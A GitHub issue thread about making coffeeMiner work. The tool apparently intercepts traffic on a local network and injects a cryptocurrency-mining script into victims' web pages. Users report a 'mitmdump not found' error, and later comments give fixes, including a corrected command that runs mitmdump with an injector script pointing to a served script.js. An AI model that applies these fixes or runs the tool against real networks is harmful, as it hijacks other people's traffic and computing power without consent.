arnaucube/coffeeMiner

Problem with mitmproxy

biubiu-1 opened this issue · 9 comments

When I run coffeeMiner.py, mitmdump was not found, like this:

sudo python3 coffeeMiner.py 192.168.0.1
gateway: 192.168.0.1
victims:
['192.168.0.120']
sh: 1: /usr/bin/mitmdump: not found

I have edited line 28 in coffeeMiner.py, and mitmdump exists in /usr/bin. What's wrong?

I am having the same issue - exactly.

sudo python3 coffeeMiner.py 192.168.0.1
gateway: 192.168.0.1
victims:
['192.168.0.120']
sh: 1: /usr/bin/mitmdump: not found

mitmdump is in /usr/bin, and no amount of troubleshooting has gotten me anywhere

My problem has solved by installing Kali . My previous Ubuntu seems unsuitable for this program.

I am having the same issue

and im running kali...

my issue was it checked

os.system("~/.local/bin/mitmdump ....")
so i changed it to
os.system("/usr/bin/mitmdump ........")
manually and it resulted in working code

Thank you for the update on this I will give it a try when I get home

You may resolve the major headache that I had planned on dealing with later this week

no problem if its still not working after the edit try using
root@kali:/# locate mitmdump
that will tell you the true location of mitmdump then apply that location instead.

I dont think you will have a problem with it being in another location though, by default its installed to /usr/bin

This code is no longer suitable for the new version of mitmdump

Its been an issue sense i first posted here, even tried to re-write the code with the updated commands, ive given up at this point

-t doesnt work had to be changed to --mode transparent (if i recall its been a few months)

Changing that got me past that error but gave me a few new ones

the best thing you can do is downgrade I guess but it seems like more hassle than it's worth at this point

I've looked for other people who have made modifications and such and there was only one that was decently good and even then the code had to be Rewritten and fell into more problems

If someon is still having this problem:
There is an error with quotes. You can fix this by replacing line 28 with:

os.system("/usr/bin/mitmdump -s injector.py 'http://<PC IP>:8000/script.js' --mode transparent")

If there's a mitmdump not found error:
Replace /usr/bin/mitmdump with correct location (you can get it with sudo locate mitmdump)